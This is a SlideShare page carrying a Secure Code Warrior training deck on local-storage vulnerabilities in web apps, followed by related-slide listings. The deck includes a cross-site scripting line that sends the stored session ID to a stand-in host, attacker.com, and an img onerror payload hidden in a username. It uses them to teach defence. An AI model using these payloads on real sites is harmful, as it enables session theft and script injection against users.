SlideShare a Scribd company logo
Local Storage
Web App Vulnerabilities
by Secure Code Warrior Limited is licensed under CC BY-ND 4.0
What is it?
Local storage, also known as web
storage, allows an application to store
key/value pairs at the client side.
There is both a persistent storage that
survives system and browser restarts
and a session storage that exists only
until the window or tab is closed.
What causes it?
An application explicitly makes use of
local storage to store data. As a result,
the storage can contain sensitive data
that could be retrieved by a cross-site
scripting attack.
What could happen?
An attacker could be able to
retrieve the entire contents of the
local storage through a cross-site
scripting attack, such as session
identifiers or personally
identifiable information.
How to prevent it?
Since the local storage is always
accessible by JavaScript and there is no
way to restrict the path, it should
simply be avoided to store sensitive
information in the local storage. In case
it is used, avoid unsafe assignments.
Local Storage
Understanding the security vulnerability
A web application makes
use of the local storage to
save bandwidth and avoid
having to retransmit a
user’s data.
Additionally, the application is
vulnerable to a cross-site scripting
injection, allowing an attacker to
retrieve the entire contents of the
local storage remotely, including
sensitive data such as session IDs.
Both scenario’s allow
an attacker to retrieve
data contained in the
local storage.
A user leaves his computer
unlocked, allowing an attacker to
view the local storage in the
browser window.
Information
leakage
localStorage.setItem(“user",user);
localStorage.setItem(“firstName",first);
localStorage.setItem(“lastName",last);
localStorage.setItem(“age",age);
localStorage.setItem(“sex",sex);
<script>document.write(
"<img src='http://attacker.com?hack=
"+localStorage.getItem(‘sessionID')+"'>");
</script>
Local Storage
Understanding the security vulnerability
The same web
application also stores
usernames for other
profiles the user visited.
A user has visited the attacker’s
profile. The user browses to a
page that shows an overview of all
users that were previously visited.
The usernames are retrieved
from local storage and directly
outputted. This results in the
attackers “username” being
executed, showing the user an
alert box.
An attacker has a specifically
crafted username that will run a
script if not properly dealt with.
XSS
visited = localStorage.getItem(
“userVisitZ");
document.getElementById("div1")
.innerHTML=visited;
localStorage.setItem(“userVisitX",userX);
localStorage.setItem(“userVisitY",userY);
localStorage.setItem(“userVisitZ",attacker);
User:
<img src=x onerror=alert(Hacked!)>
Visited users:
UserX
UserY
Hacked!
Local Storage
Realizing the impact
A local attacker could view the storage
contents directly in the user’s browser.
Unsafe assignments from local storage
could result in XSS.
An attacker could be able to retrieve the entire
contents of the local storage through XSS.
Local Storage
Preventing the mistake
Apply application-wide filters or sanitization on
assignments from local storage.
Do NOT store sensitive data in the local storage.

More Related Content

What's hot (20)

PPT
Cross site scripting (xss)
Manish Kumar
 
PPTX
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
PDF
Common Web Application Attacks
Ahmed Sherif
 
PPTX
Web application attack Presentation
Khoa Nguyen
 
PDF
How to authenticate users in your apps using FI-WARE Account - Introduction
Javier Cerviño
 
PPTX
Cross Site Scripting(XSS)
Nabin Dutta
 
PPTX
Web Security Attacks
Sajid Hasan
 
PPTX
Cross site scripting (xss)
Ritesh Gupta
 
PPTX
Xss attack
Manjushree Mashal
 
PPTX
Owasp Top 10 A3: Cross Site Scripting (XSS)
Michael Hendrickx
 
PDF
Cross site scripting
n|u - The Open Security Community
 
PDF
XSS-Alert-Pentration testing tool
Arjun Jain
 
PPTX
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
PPTX
Cross Site Scripting
Ali Mattash
 
PPTX
Secure Code Warrior - Os command injection
Secure Code Warrior
 
PDF
The Cross Site Scripting Guide
Daisuke_Dan
 
PPTX
Cross Site Scripting ( XSS)
Amit Tyagi
 
PPTX
Php security common 2011
10n Software, LLC
 
PPTX
Hack using firefox
Reza Nurfachmi
 
Cross site scripting (xss)
Manish Kumar
 
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
Common Web Application Attacks
Ahmed Sherif
 
Web application attack Presentation
Khoa Nguyen
 
How to authenticate users in your apps using FI-WARE Account - Introduction
Javier Cerviño
 
Cross Site Scripting(XSS)
Nabin Dutta
 
Web Security Attacks
Sajid Hasan
 
Cross site scripting (xss)
Ritesh Gupta
 
Xss attack
Manjushree Mashal
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Michael Hendrickx
 
Cross site scripting
n|u - The Open Security Community
 
XSS-Alert-Pentration testing tool
Arjun Jain
 
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Cross Site Scripting
Ali Mattash
 
Secure Code Warrior - Os command injection
Secure Code Warrior
 
The Cross Site Scripting Guide
Daisuke_Dan
 
Cross Site Scripting ( XSS)
Amit Tyagi
 
Php security common 2011
10n Software, LLC
 
Hack using firefox
Reza Nurfachmi
 

Viewers also liked (11)

PPTX
Secure Code Warrior - Trust no input
Secure Code Warrior
 
PPTX
Secure Code Warrior - Fail securely
Secure Code Warrior
 
PPTX
Secure Code Warrior - Robust error checking
Secure Code Warrior
 
PPTX
Secure Code Warrior - Insufficient data encoding
Secure Code Warrior
 
PPTX
Secure Code Warrior - Client side injection
Secure Code Warrior
 
PPTX
Secure Code Warrior - Defense in depth
Secure Code Warrior
 
PPTX
Secure Code Warrior - XQuery injection
Secure Code Warrior
 
PPTX
Secure Code Warrior - Secure by default
Secure Code Warrior
 
PPTX
Secure Code Warrior - Privacy
Secure Code Warrior
 
PPTX
Secure Code Warrior - Least privilege
Secure Code Warrior
 
PPTX
Secure Code Warrior - Logging
Secure Code Warrior
 
Secure Code Warrior - Trust no input
Secure Code Warrior
 
Secure Code Warrior - Fail securely
Secure Code Warrior
 
Secure Code Warrior - Robust error checking
Secure Code Warrior
 
Secure Code Warrior - Insufficient data encoding
Secure Code Warrior
 
Secure Code Warrior - Client side injection
Secure Code Warrior
 
Secure Code Warrior - Defense in depth
Secure Code Warrior
 
Secure Code Warrior - XQuery injection
Secure Code Warrior
 
Secure Code Warrior - Secure by default
Secure Code Warrior
 
Secure Code Warrior - Privacy
Secure Code Warrior
 
Secure Code Warrior - Least privilege
Secure Code Warrior
 
Secure Code Warrior - Logging
Secure Code Warrior
 
Ad

Similar to Secure Code Warrior - Local storage (20)

PDF
Html5 localstorage attack vectors
Shreeraj Shah
 
PPTX
HTML5 Local Storage
Lior Zamir
 
PPTX
Html5 web storage
AbhishekMondal42
 
PPTX
How to use local storage and session storage for offline functionalities in O...
Celine George
 
PDF
Html5 hacking
Iftach Ian Amit
 
PPTX
Web storage
PratikDoiphode1
 
PPSX
Attacking HTML5
AppSec_Labs
 
PDF
Html5-Web-Storage
Mindfire Solutions
 
PPTX
HTML5 Web storage
Muhammad Ehtisham Siddiqui
 
PDF
Lt local storage
Yuzu Saijo
 
PPTX
[SoftServe IT Academy] - JavaScript Storages
Ivan Matiishyn
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
PDF
An Overview of HTML5 Storage
Paul Irish
 
PPTX
Html5 local storage
ARIF MAHMUD RANA
 
PDF
Html5 web storage
Mindfire Solutions
 
PPTX
Notes on SF W3Conf
Edy Dawson
 
PDF
Web Storage
Sebastiano Armeli
 
PPTX
Client side storage on the modern web
Rajasekharan Vengalil
 
PDF
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
PPTX
Local storage
Adam Crabtree
 
Html5 localstorage attack vectors
Shreeraj Shah
 
HTML5 Local Storage
Lior Zamir
 
Html5 web storage
AbhishekMondal42
 
How to use local storage and session storage for offline functionalities in O...
Celine George
 
Html5 hacking
Iftach Ian Amit
 
Web storage
PratikDoiphode1
 
Attacking HTML5
AppSec_Labs
 
Html5-Web-Storage
Mindfire Solutions
 
HTML5 Web storage
Muhammad Ehtisham Siddiqui
 
Lt local storage
Yuzu Saijo
 
[SoftServe IT Academy] - JavaScript Storages
Ivan Matiishyn
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
An Overview of HTML5 Storage
Paul Irish
 
Html5 local storage
ARIF MAHMUD RANA
 
Html5 web storage
Mindfire Solutions
 
Notes on SF W3Conf
Edy Dawson
 
Web Storage
Sebastiano Armeli
 
Client side storage on the modern web
Rajasekharan Vengalil
 
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Local storage
Adam Crabtree
 
Ad

Recently uploaded (20)

PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PDF
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
PDF
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
PDF
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PPTX
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
PPTX
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
PDF
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
PDF
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
PDF
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
PDF
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
PDF
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PDF
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
PDF
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 

Secure Code Warrior - Local storage

  • 1. Local Storage Web App Vulnerabilities by Secure Code Warrior Limited is licensed under CC BY-ND 4.0
  • 2. What is it? Local storage, also known as web storage, allows an application to store key/value pairs at the client side. There is both a persistent storage that survives system and browser restarts and a session storage that exists only until the window or tab is closed. What causes it? An application explicitly makes use of local storage to store data. As a result, the storage can contain sensitive data that could be retrieved by a cross-site scripting attack. What could happen? An attacker could be able to retrieve the entire contents of the local storage through a cross-site scripting attack, such as session identifiers or personally identifiable information. How to prevent it? Since the local storage is always accessible by JavaScript and there is no way to restrict the path, it should simply be avoided to store sensitive information in the local storage. In case it is used, avoid unsafe assignments.
  • 3. Local Storage Understanding the security vulnerability A web application makes use of the local storage to save bandwidth and avoid having to retransmit a user’s data. Additionally, the application is vulnerable to a cross-site scripting injection, allowing an attacker to retrieve the entire contents of the local storage remotely, including sensitive data such as session IDs. Both scenario’s allow an attacker to retrieve data contained in the local storage. A user leaves his computer unlocked, allowing an attacker to view the local storage in the browser window. Information leakage localStorage.setItem(“user",user); localStorage.setItem(“firstName",first); localStorage.setItem(“lastName",last); localStorage.setItem(“age",age); localStorage.setItem(“sex",sex); <script>document.write( "<img src='http://attacker.com?hack= "+localStorage.getItem(‘sessionID')+"'>"); </script>
  • 4. Local Storage Understanding the security vulnerability The same web application also stores usernames for other profiles the user visited. A user has visited the attacker’s profile. The user browses to a page that shows an overview of all users that were previously visited. The usernames are retrieved from local storage and directly outputted. This results in the attackers “username” being executed, showing the user an alert box. An attacker has a specifically crafted username that will run a script if not properly dealt with. XSS visited = localStorage.getItem( “userVisitZ"); document.getElementById("div1") .innerHTML=visited; localStorage.setItem(“userVisitX",userX); localStorage.setItem(“userVisitY",userY); localStorage.setItem(“userVisitZ",attacker); User: <img src=x onerror=alert(Hacked!)> Visited users: UserX UserY Hacked!
  • 5. Local Storage Realizing the impact A local attacker could view the storage contents directly in the user’s browser. Unsafe assignments from local storage could result in XSS. An attacker could be able to retrieve the entire contents of the local storage through XSS.
  • 6. Local Storage Preventing the mistake Apply application-wide filters or sanitization on assignments from local storage. Do NOT store sensitive data in the local storage.